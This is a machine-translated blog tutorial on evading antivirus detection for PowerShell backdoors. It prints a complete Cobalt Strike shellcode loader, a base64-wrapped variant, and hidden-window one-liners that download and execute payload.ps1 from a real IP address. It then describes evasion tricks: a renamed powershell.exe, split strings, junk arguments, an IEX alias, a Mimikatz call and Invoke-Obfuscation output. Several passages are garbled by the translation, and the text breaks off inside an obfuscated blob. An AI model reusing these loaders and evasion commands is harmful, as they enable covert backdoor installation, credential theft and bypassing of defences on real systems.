Analysis of powershell killing free thinking
Write in front
As the software package of Microsoft windows system, powershell has very powerful functions. Windows PowerShell is a command-line shell program and script environment, which can be used by command-line users and script writers NET Framework has been popularized among IT / system administrators. The general characteristics are: convenience, effectiveness and concealment. For example, using these legitimate tools can make threat activities mixed in normal network traffic or IT / system management, and also make these malicious threats leave fewer traces, making detection more difficult. After various deformation, encryption, confusion and malicious files are placed on the remote server and executed by downloading them into memory, there are still many technical difficulties in protection. powershell backdoor and mining have attracted more and more attention. In the penetration of the intranet, the killing free technology is particularly important. In the study of killing free, you often fall into a misunderstanding. Repeat IT according to the tutorial. You don't even know what others say, but only know that you can avoid killing. Once others' killing free skills are checked and killed, you can't do anything about their killing free thinking. As the saying goes, IT's better to teach people to fish than to teach people to fish, Next, we will use the back door generated by CS to check and analyze the domestic mainstream cashmere and 60.
Preliminary knowledge preparation
Powershell execution policy
powershell.exe Get-ExecutionPolicy Get execution policy Restricted: The script cannot be run(default setting)RemoteSigned: Scripts created locally can run, but scripts downloaded online cannot run(Have digital certificate signing exceptions)AllSigned: The script can run only if it is signed by a trusted publisher Unrestricted: Allow all scripts to run Set-ExecutionPolicy <Policy name> Set execution policy
For common powershell parameters, please refer to:
https://blog.csdn.net/qq_51524329/article/details/121579801
Main considerations for the method of exemption from killing:
1. Conditions for execution of kill free tools
2. File size
3. Whether it can be used normally (here is whether it can be online normally)
Analysis on the thought and process of powershell killing free
cs generates a powershell back door, which is directly checked and killed by some 60.
Set-StrictMode -Version 2$DoIt = @'function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType()}[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckudNiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMSEZqYCOxumHghCTQKyeshNUJb+HGT1K+fCnkZi8w3942ooKDteZVK8Nv3XJ+r1XoEFAaN0Oye7OOQHLJCeOrvBkIoSye36GOaNKQ8TcXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDREYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikj8gUWCTmTwYXZDzbI8Mkt8C65GlH5y2BrfKj3h82N6j+GXO1rO4H+b+RtVK1ay9SFf7Wr6c0fTX7e2TM25l7HpxgLpMmV9VeVOrI6bbZZymxKRLzE7MtCqank3Vzm7PsSIsKtZpboC4RYhAELYugCImha7OGcV7tQKo9wpaZ3OJP8LP3+alfk7+M58eyX43AyjJgckls0FRua/qFFZL2uV3H96CJesokr+qK3UCdLNlJsisRGx/Mc6VESE6IK++2z3+JtcCaw5Pdcg6iLuCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcFxQNEhIQDRESFA0SERsjMRd1Ww==')for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35}$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))$var_runme.Invoke([IntPtr]::Zero)'@#shellcode code If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job}else { IEX $DoIt}#Execute shellcode
Perform code encoding analysis locally
The meaning of locally executing code is to upload the powershell script directly to the target server for execution. Now what should we do first? Of course, locate the feature code first. What is characteristic code? Characteristic code is the unique characteristic of virus. Generally, killing software detection is detected according to the characteristic code. Characteristic code detection refers to a direct mode of accurately retrieving a group of matching strings. The characteristics of each virus and its variants are included in the definition Library of the scanner, and these characteristics will not appear in uninfected files.
How do I manually locate signatures in a powershell script? Delete the code section by section directly, and use the anti-virus software to check and kill each time to locate the feature code (exe program location feature code). In this powershell script, the anti-virus software mainly checks and kills the contents of DoIt variables. Here, pay special attention to the selector of base64 coding. Some online encoders on the Internet cannot be executed after coding.
Set-StrictMode -Version 2$DoIt = @'ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCltCeXRlW11dJHZhcl9jb2RlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMzh1cUl5TWpRNnJHRXZGSHFIRVRxSEV2cUhFM3FGRUxMSlJwQlJMY0V1T1BIMEpmSVE4RDR1d3VJdVRCMDNGMHFIRXpxR0VmSXZPb1kxdW00MWRwSXZOenFHczdxSHNESXZEQUgycW9GNmdpOVJMY0V1T1A0dXd1SXVRYncxYlhJRjdiR0Y0SFZzRjdxSHNISXZCRnFDOW9xSHMvSXZDb0o2Z2k4NnBuQndkNGVFSjZlWExjdzN0OGVhZ3h5S1YrUzAxR1Z5TkxWRXBOU25kTGIxUUZKTnoyRXR4MGRIUjBkRXNaZFZxRTNQYktweU1qSTNnUzZuSnlTU0J5Y2t1ZE5pTWpjSE5MZEtxODVkejJ5Rk40RXZGeFN5TWhZNmR4Y1hGd2NYTkx5SFlOR056MnF1V2c0SE1TM0hSMFNkeHdkVXNPSlR0WTNQYW00eXluNENJakl4TGNwdFZYSjZyYXlDcExpZWJCZnR6MnF1SkxaZ0o5RXR6MkV0eDBTU1J5ZFhOTGxIVERLTnoybkNNTUl5TWE1RmVVRXR6S3NpSWpJOHJxSWlNank2amMzTndNVTA4VmFTUFgzazFKZGtKU0Ftb3JINGs4UDhxcU0vVWltd1RMSjBUMlRZK1FtcFVhVGU0VDZMTDdQRlU5Y0REaVlGcytxZmp6UjFRSnd6ZHMvUEFLb2xnaXozNnZHNDE0dXZ2MzMzcXJJM1pRUmxFT1lrUkdUVmNaQTI1TVdVcFBUMElNRncwVEF3dEFURTVUUWxkS1FVOUdHQU51Y0dwbUF4c05FeGdEZEVwTlIweFVVQU50ZHdNVkRSSUtMaWtqTnVUZzJYODdKemVQeS80VWl5Z1ZCWUFKUnNRcXF6ekQyZnNZOHgvODB0bnB4TXpXK0FHcUxhNkEyV1FzandLSXhXeGt6dkNhcGZ4cEgxRXJiTmczdmNCQ2RNVkV2TTRZNXRoYk92aysrMUlqZGpVSEh4ZUVDUC9QRUlYU2xNcCttaVc1UWhoNm4xTFF3Vmt0eDZMaDczM0wxMWx4aVhyWmZ1RXNucnU3amozdGFtcEdoSlNTb0taZEVqYVdhM1gzQ0xtRmhmUndjcVVRSllEeENWWnJydVBMNGtoakI2cTdubmgxb3JZWEs1SUJWVWpnQXdWMlY1ZHFPdzNadEJaUXIrZzJmODB1TzcrSm5waytzME1JOWVncDN0QjUzZk83UU5kdEluclc5VFo4V0lnU01IaE9JSnVkaEphM0lpTkwwNWFCZGR6MlNXTkxJek1qSTBzakkyTWpkRXQ3aDNERzNQYXdtaU1qSXlNaStuSndxc1IwU3lNREl5TndkVXN4dGFyQjNQYW00MWZscUNRaTRLYmpWc1o3NE11SzN0emNGeFFORWhJUURSRVNGQTBTRVJzak1SZDFXdz09JykKCmZvciAoJHggPSAwOyAkeCAtbHQgJHZhcl9jb2RlLkNvdW50OyAkeCsrKSB7CgkkdmFyX2NvZGVbJHhdID0gJHZhcl9jb2RlWyR4XSAtYnhvciAzNQp9CgokdmFyX3ZhID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoKGZ1bmNfZ2V0X3Byb2NfYWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jKSwgKGZ1bmNfZ2V0X2RlbGVnYXRlX3R5cGUgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKSkpCiR2YXJfYnVmZmVyID0gJHZhcl92YS5JbnZva2UoW0ludFB0cl06Olplcm8sICR2YXJfY29kZS5MZW5ndGgsIDB4MzAwMCwgMHg0MCkKW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkdmFyX2NvZGUsIDAsICR2YXJfYnVmZmVyLCAkdmFyX2NvZGUubGVuZ3RoKQoKJHZhcl9ydW5tZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCR2YXJfYnVmZmVyLCAoZnVuY19nZXRfZGVsZWdhdGVfdHlwZSBAKFtJbnRQdHJdKSAoW1ZvaWRdKSkpCiR2YXJfcnVubWUuSW52b2tlKFtJbnRQdHJdOjpaZXJvKQ=='@#after base64 code $mksec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))#Base64 decode $DoIt and assign it to mksec. Then the question comes again. Why Base64 decode? Is it because if the base64 variable is passed directly to the following executed statement, it will be executed? Obviously not, so Base64 decoding is required. The following $DoIt variable should be changed to $mksecif ([IntPtr]:: size - EQ 8) {start job {param ($a) IEX $a} - runas32 - argument $mksec | wait job | receive job} else {IEX $mksec}
Take the above powershell script to check and kill. If you find that a 60 doesn't check and kill and is successfully online, you won't take a screenshot, because there are many attempts below. If you need a screenshot every time you carry out a check and kill experiment, you're disgusted. What does that mean? It shows that the killing ability of a 60 pair of static code is strong, and the killing ability of a 60 pair of static code is weak.
Remote download execution - replace & Split & interfere
Meaning of remote download execution:
Remote execution
Place the above powershell backdoor script on our server and execute the following command on the target server
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.113.217.128/payload.ps1 ') "/ / download the powershell script and hide the execution
Some cashmere is directly investigated and killed, and some 60 are also directly investigated and killed
replace filename
What is this? It's actually PowerShell Exe is copied into the text, which is equivalent to PowerShell exe.
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txtbypass.txt -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.113.217.128//payload.ps1'))"
At this time, I passed a cashmere and successfully went online, and a 60 was killed.
Split http
Split http in the form of variables, and then splice it for download and execution
powershell -nop -w hidden -c "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.113.217.128//payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"
At this time, I passed a cashmere and successfully went online, and a 60 was killed.
Combination of the two methods
If the above two methods are combined, what effect will it produce?
bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://47.113.217.128/payload.ps1''));Invoke-Mimikatz';IEX ($a+$b)"
At this time, I passed a cashmere and successfully went online, and a 60 was killed.
Add junk character
powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.113.217.128/payload.ps1')
At this time, I passed a cashmere and successfully went online, and a 60 was killed.
What will happen if I combine all the above three methods? The idea of no killing is to keep trying and thinking.
bypass.txt -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('ht'+'tp://47.113.217.128/payload.ps1')
At this time, I passed a cashmere and successfully went online, and a 60 was killed.
Through the above analysis, we should be a little clear about the idea of no killing. For the above test, we just place the uncoded powershell backdoor script on our server, and then download and execute it. What kind of spark will it spark if I place the encoded script on the server? I have also tried here, and the results are consistent with the above. What problems can we find through this phenomenon? It shows that during remote download and execution, the anti-virus software does not kill the code on our server, but detects the powershell process. Why do you say that? Because the code we put in the server can't bypass a certain server. At the same time, it can also be found that the detection ability of a 60 pair of processes is general, while the killing ability of a 60 pair of processes is very strong. Don't worry, let's continue to try other methods.
Remote download & & obfuscation encoding
For the first base64 coding confusion, our method is still too simple. Is there a tool that can code powershell well? Complete a complex coding confusion? Here is a tool for code obfuscation of powershell scripts.
Invoke-Obfuscation
Download address: https://github.com/danielbohannon/Invoke-Obfuscation
Basic commands:
Installation and use: Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation Processing files: set scriptpath C:\Users\86135\Desktop\1.ps1 Processing code: set scriptblock 'xxxx'Entry code: encoding Select code: 1-8 There are 8 encoding output files: out C:\Users\acer\Desktop\11.ps1
Even tools are killed, why even tools are killed? Continue to look below first, and I'll come together later.
Code its source code
Choose any one here to code and take a look at the content after coding! You can see that the confused code is very complex. It is generally very difficult for us to confuse such complex code.
&( $PShoMe[4]+$psHOmE[34]+'x') (((83, 101 ,116,45, 83,116,114,105,99,116, 77 , 111, 100 , 101 , 32 ,45 ,86, 101, 114 , 115 , 105 ,111,110 , 32,50 , 10,10, 36 ,68, 111 ,73,116, 32 , 61 ,32, 64 , 39 , 10,90,110 ,86 , 117 ,89 , 51, 82, 112 , 98, 50,52 , 103 ,90,110,86,117,89,49,57 , 110 , 90 , 88 ,82,102, 99 , 72 , 74 , 118,89, 49,57 ,104 , 90, 71, 82, 121,90, 88 ,78 ,122 ,73,72 ,115,75, 67, 86 , 66 ,104 , 99,109,70,116 , 73 ,67 ,103 , 107, 100 , 109 , 70 ,121 ,88 ,50,49, 118 , 90 ,72 ,86 , 115 , 90 ,83,119,103,74,72,90,104 , 99 , 108 , 57 ,119, 99,109,57 , 106, 90,87, 82 , 49 ,99,109,85, 112 ,67 ,81 ,107,75 ,67 ,83,82, 50 ,89 , 88, 74, 102 ,100, 87 ,53,122,89 ,87, 90 ,108, 88, 50, 53,104 , 100, 71 ,108 , 50, 90 ,86 , 57 , 116,90 ,88, 82, 111 , 98,50 ,82,122 ,73 ,68 , 48 , 103, 75 ,70,116, 66, 99 , 72 , 66,69, 98,50 ,49 , 104,97,87 ,53 , 100 ,79,106 ,112, 68 , 100 ,88 ,74 ,121, 90 , 87 ,53 , 48 ,82,71, 57, 116, 89,87,108 ,117 , 76,107,100 , 108,100 , 69 , 70, 122 ,99 ,50, 86, 116,89 ,109 , 120,112 ,90 , 88,77 ,111,75 , 83,66 ,56 ,73, 70 , 100 ,111, 90 ,88,74,108 ,76, 85 , 57, 105 ,97 ,109 ,86 ,106, 100,67 ,66 , 55,73,67 ,82, 102, 76 , 107,100,115 ,98,50 ,74 ,104 ,98,69, 70, 122 , 99,50 ,86 ,116, 89 ,109,120 , 53 ,81 ,50, 70 ,106,97, 71, 85, 103 , 76, 85, 70 , 117 ,90, 67 , 65, 107,88, 121, 53 , 77 ,98, 50 , 78, 104,100,71,108, 118,98,105,53 ,84,99,71,120,112 ,100,67,103,110,88,70, 119 , 110 ,75, 86 ,115 ,116, 77, 86 , 48 ,117 ,82,88,70,49 ,89,87 ,120,122 ,75 ,67 ,100 , 84,101 , 88 , 78,48,90 , 87, 48 , 117, 90 ,71 ,120, 115 ,74,121, 107, 103 ,102 , 83, 107 , 117 , 82 ,50, 86 ,48 ,86 ,72 , 108 , 119 ,90 , 83,103,110 ,84 , 87 ,108 ,106,99,109, 57 ,122 , 98,50, 90 , 48,76, 108 , 100,112, 98 ,106 ,77,121 , 76, 108, 86 ,117, 99, 50 ,70 ,109 ,90 ,85,53,104 , 100 , 71 , 108,50 , 90,85 ,49,108 ,100 , 71,104,118 , 90,72,77, 110, 75,81 ,111,74, 74,72, 90,104 , 99 , 108, 57 , 110, 99,71 , 69 , 103 , 80, 83,65 ,107,100 ,109 ,70 , 121, 88 ,51, 86 , 117 , 99 , 50, 70 , 109,90,86,57, 117,89 ,88 ,82 , 112 ,100 ,109,86, 102, 98 , 87,86 , 48,97, 71 , 57,107 , 99,121 ,53, 72 ,90 , 88 ,82,78,90 , 88 , 82,111, 98 ,50 ,81, 111, 74 ,48, 100 , 108 , 100 , 70,66,121 , 98 , 50 ,78,66 ,90, 71 , 82 , 121, 90 , 88, 78 ,122,74, 121 ,119 , 103 , 87 , 49 , 82 ,53 ,99 , 71 ,86,98, 88 ,86 , 48 , 103 ,81 , 67 , 103 ,110, 85,51, 108 ,122,100 , 71,86,116, 76,108 ,74 , 49, 98, 110 , 82, 112,98 , 87, 85, 117 , 83 , 87,53, 48, 90,88 ,74,118, 99 ,70 , 78 ,108 , 99 , 110 , 90,112 , 89,50, 86, 122 ,76, 107, 104 ,104 , 98 ,109 ,82,115, 90,86, 74 , 108 , 90, 105 ,99 ,115,73, 67 , 100,122 ,100 , 72 ,74 ,112 , 98, 109,99 , 110 , 75, 83,107, 75, 67,88,74,108 ,100,72,86 , 121,98 ,105 , 65,107,100, 109,70 ,121 , 88 ,50 ,100 ,119 , 89 ,83 , 53 ,74 ,98, 110 ,90 ,118, 97 , 50 ,85 , 111, 74 , 71 , 53 ,49, 98 ,71 ,119 , 115, 73, 69, 65, 111 , 87,49 ,78 ,53 , 99 , 51, 82, 108,98 , 83 ,53, 83,100 ,87 , 53 , 48,97 , 87 , 49 , 108,76 ,107 , 108 ,117,100,71 ,86 , 121, 98,51, 66 , 84, 90 , 88, 74 ,50 ,97 , 87 ,78, 108 , 99, 121,53 ,73,89 ,87 , 53 ,107, 98, 71 , 86, 83, 90 ,87, 90 , 100, 75 , 69,53 ,108,100 ,121,49,80, 89,109 , 112 , 108 , 89, 51 ,81,103 ,85 ,51, 108 , 122 ,100,71,86 , 116, 76 , 108, 74 ,49 , 98, 110, 82 ,112 , 98, 87, 85,117, 83 ,87 , 53,48,90, 88 ,74, 118,99 , 70 ,78 , 108,99 ,110,90 , 112 ,89 , 50, 86,122 , 76, 107, 104 ,104 ,98 , 109 ,82 , 115,90,86, 74 , 108 , 90, 105, 103, 111,84 ,109, 86, 51 , 76 ,85, 57 ,105, 97, 109,86, 106,100 , 67,66 ,74,98,110,82,81, 100 , 72,73 ,112, 76 , 67, 65 , 111 ,74, 72, 90 ,104, 99 , 108 ,57,49,98, 110 , 78 ,104, 90 , 109 , 86 , 102 ,98 , 109 , 70 ,48,97, 88,90 , 108 , 88,50, 49,108 ,100, 71,104,118 , 90, 72 , 77 ,117, 82, 50 , 86 ,48,84 , 87, 86 ,48, 97,71 , 57, 107, 75,67,100 , 72 , 90, 88 ,82 , 78 , 98,50 ,82 , 49, 98 , 71,86 , 73 , 89 ,87 ,53,107 ,98 ,71, 85 ,110 , 75, 83,107, 117 , 83,87 , 53 , 50 ,98 ,50,116, 108, 75 , 67 ,82 , 117, 100 , 87,120 ,115 , 76,67 , 66,65,75 , 67, 82 ,50 ,89 ,88 ,74 , 102 , 98 , 87,57 , 107 , 100,87 , 120 , 108,75, 83,107 , 112, 75,83 ,119,103, 74 , 72 , 90 , 104, 99 ,108, 57,119 , 99 ,109,57, 106,90,87,82, 49 ,99 ,109 , 85 , 112 ,75 , 81,112 ,57 ,67 ,103,112 ,109 , 100,87 ,53,106, 100 ,71 ,108, 118 , 98,105, 66,109 , 100,87 , 53, 106,88, 50 , 100 ,108,100,70,57,107 ,90 , 87,120,108, 90,50, 70 ,48 , 90 ,86,57, 48 , 101 ,88, 66 ,108, 73 , 72 ,115,75, 67,86 ,66,104,99 , 109,70 ,116, 73, 67,103,75,67,81, 108 ,98, 85, 71,70, 121 , 89 , 87 ,49 ,108 , 100,71 ,86 , 121, 75,70,66 , 118, 99,50 , 108,48 , 97,87 , 57,117 ,73, 68 , 48 , 103, 77 , 67, 119, 103 , 84 ,87,70,117,90, 71 ,70, 48 , 98, 51 , 74 ,53,73 ,68 , 48,103 , 74 ,70 , 82, 121, 100,87, 85 ,112 , 88 , 83, 66 ,98,86 ,72, 108 , 119 ,90 , 86,116, 100 , 88 , 83 ,65, 107 , 100 ,109 , 70, 121,88,51, 66 , 104,99,109 , 70 , 116 ,90,88 ,82,108, 99, 110 ,77, 115,67, 103 ,107, 74, 87,49,66, 104,99,109,70,116 ,90, 88 , 82,108 ,99 ,105 , 104,81 , 98,51 , 78 , 112,100,71 , 108 , 118,98 , 105 ,65 ,57,73 ,68,69,112,88 ,83 , 66, 98 ,86 , 72 ,108,119 , 90, 86, 48 ,103,74, 72, 90, 104 ,99,108, 57,121 , 90 , 88 , 82 ,49,99,109,53 , 102 , 100 ,72, 108 ,119 , 90 , 83, 65,57 , 73,70,116, 87 ,98 , 50 , 108, 107 , 88 ,81 , 111 , 74 ,75, 81,111 , 75, 67,83, 82, 50, 89 , 88,74,102 , 100, 72,108,119 , 90 , 86, 57, 105 , 100 ,87, 108 ,115, 90,71 , 86 ,121 ,73, 68, 48 ,103,87, 48 , 70, 119 ,99 , 69, 82, 118 , 98 ,87 ,70 ,112, 98 , 108 , 48, 54,79 ,107 , 78, 49 , 99 ,110, 74 , 108 ,98 ,110 ,82,69 ,98 ,50,49 , 104 , 97,87, 52 , 117 , 82 , 71 ,86 , 109,97 , 87 ,53 ,108 ,82,72 ,108,117,89 ,87, 49 ,112, 89, 48 , 70 ,122, 99 , 50 ,86 ,116 , 89 , 109,120 , 53,75 , 67 ,104,79,90 , 88, 99,116 , 84, 50 ,74 , 113, 90 , 87 ,78 , 48 , 73 , 70 , 78 , 53, 99 ,51, 82 ,108 ,98 ,83,53 ,83 , 90 , 87 , 90 ,115, 90 , 87,78, 48 ,97 , 87 , 57 ,117 , 76, 107,70 ,122 , 99,50, 86 , 116 ,89,109 , 120 ,53 ,84, 109,70 ,116 ,90,83 ,103, 110 ,85, 109, 86 ,109,98 ,71 ,86 , 106 ,100 ,71 ,86, 107 , 82 , 71 ,86,115 , 90,87,100, 104 , 100 , 71,85,110 , 75, 83,107,115 , 73,70 , 116 , 84,101 , 88 ,78, 48,90 ,87 ,48 , 117, 85 ,109, 86 ,109 ,98,71,86 ,106 ,100 , 71 ,108, 118,98, 105, 53 ,70 , 98 ,87,108 ,48,76,107 , 70,122 , 99 , 50 ,86 ,116 ,89 , 109, 120, 53 ,81, 110 ,86, 112, 98, 71 ,82 ,108 , 99,107, 70 ,106, 89,50,86 ,122 , 99 , 49 , 48 ,54, 79 , 108 ,74 ,49 , 98 , 105, 107, 117,82, 71,86 ,109, 97 ,87 ,53 , 108,82, 72 ,108, 117, 89,87 ,49,112 , 89,48,49,118 ,90, 72 , 86 ,115 , 90 , 83,103,110, 83 ,87 , 53 , 78 ,90, 87,49 ,118 , 99,110, 108,78 ,98 ,50 ,82,49, 98 ,71,85,110 , 76 ,67 ,65, 107,90 ,109,70, 115 , 99 , 50,85, 112, 76 , 107 , 82, 108,90 , 109, 108 , 117, 90, 86 , 82 , 53 ,99, 71, 85, 111, 74,48, 49, 53, 82 , 71 ,86 , 115 ,90, 87,100,104 , 100, 71 , 86, 85,101, 88 ,66, 